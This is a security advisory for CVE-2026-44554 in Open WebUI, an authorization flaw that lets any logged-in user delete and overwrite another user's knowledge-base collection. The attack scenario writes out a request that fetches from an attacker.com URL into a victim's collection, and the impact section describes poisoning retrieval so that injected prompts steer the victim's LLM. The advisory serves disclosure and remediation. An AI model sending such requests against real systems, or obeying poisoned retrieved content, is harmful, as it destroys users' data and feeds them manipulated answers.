CVE-2026-44554: Open WebUI: Knowledge Base Destruction and RAG Poisoning via Unauthorized Collection Overwrite
Knowledge Base Destruction and RAG Poisoning via Unauthorized Collection Overwrite
Affected Component
Retrieval web/YouTube processing endpoints: - backend/openwebui/routers/retrieval.py (lines 1810-1837, processweb) - backend/openwebui/routers/retrieval.py (the parallel processyoutube endpoint) - backend/openwebui/routers/retrieval.py (line 1445, savedocstovectordb call chain)
Affected Versions
Current main branch (commit 6fdd19bf1) and likely all versions with RAG/knowledge base functionality.
Description
The POST /api/v1/retrieval/process/web endpoint accepts a user-supplied collectionname and an overwrite query parameter (default: True). It performs no authorization check on whether the calling user owns or has write access to the target collection. When overwrite=True, savedocstovectordb calls VECTORDBCLIENT.deletecollection() on the target collection before writing new content.
Combined with the knowledge base enumeration vulnerability (separate report), an attacker can trivially discover any user's knowledge base UUID and then destroy or poison it.
python retrieval.py:1810-1837 — no collection authorization check @router.post('/process/web') async def processweb( request: Request, formdata: ProcessUrlForm, user=Depends(getverifieduser), ... ): # ... fetch and process the URL ... savedocstovectordb( request=request, docs=docs, collectionname=formdata.collectionname, # attacker-controlled, unchecked overwrite=overwrite, # defaults to True ... )
CVSS 3.1 Breakdown
| Metric | Value | Rationale | |--------|-------|-----------| | Attack Vector | Network (N) | Exploited remotely via API call | | Attack Complexity | Low (L) | Single API call with a known KB UUID | | Privileges Required | Low (L) | Requires any authenticated user account | | User Interaction | None (N) | No victim interaction required | | Scope | Unchanged (U) | Impact within the knowledge base authorization boundary | | Confidentiality | None (N) | No data disclosure from this vulnerability directly | | Integrity | High (H) | Complete replacement of victim's KB content with attacker-controlled data | | Availability | High (H) | Victim's original KB embeddings are deleted; KB effectively destroyed |
Attack Scenario
1. Attacker discovers victim's KB UUID via the knowledge-bases meta-collection (separate finding) or other enumeration. 2. Attacker sends: POST /api/v1/retrieval/process/web?overwrite=true { "url": "https://attacker.com/poison", "collectionname": "<victimkbuuid>" } 3. The endpoint fetches content from the attacker's URL. 4. savedocstovectordb deletes the entire vector collection belonging to the victim's knowledge base. 5. The attacker's fetched content is embedded and written as the new collection content. 6. Victim's RAG queries against their KB now return attacker-controlled content instead of their original documents.
Impact
- Data destruction: Victim's original KB embeddings are permanently deleted from the vector store - RAG poisoning: Attacker-controlled content replaces legitimate knowledge, causing the LLM to return misleading or malicious answers to the victim - Indirect prompt injection: Poisoned content can contain crafted prompts that manipulate the victim's LLM behavior when queried - Persistence: The poisoned content persists until the KB is rebuilt from source files
Preconditions
- Attacker must have a valid user account - Attacker must know the target collection name (KB UUID) — easily obtained via the knowledge-bases enumeration finding
Other sources
Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.0, the POST /api/v1/retrieval/process/web endpoint accepts a user-supplied collectionname and an overwrite query parameter (default: True). It performs no authorization check on whether the calling user owns or has write access to the target collection. When overwrite=True, savedocstovectordb calls VECTORDBCLIENT.deletecollection() on the target collection before writing new content. This vulnerability is fixed in 0.9.0.
— MITRE
Affected Software
Event History
Frequently Asked Questions
What is the severity of CVE-2026-44554?
CVE-2026-44554 is classified as a severe vulnerability due to its potential impact on knowledge base integrity and service operation.
How do I fix CVE-2026-44554?
To fix CVE-2026-44554, upgrade the 'open-webui' package to version 0.9.0 or higher.
What components are affected by CVE-2026-44554?
CVE-2026-44554 affects the web retrieval processing endpoints in the 'open-webui' package.
What types of attacks does CVE-2026-44554 expose users to?
CVE-2026-44554 exposes users to knowledge base destruction and RAG poisoning attacks through unauthorized collection overwrites.
Is my application vulnerable if I'm using 'open-webui' version 0.8.12 or lower?
Yes, your application is vulnerable to CVE-2026-44554 if you are using 'open-webui' version 0.8.12 or lower.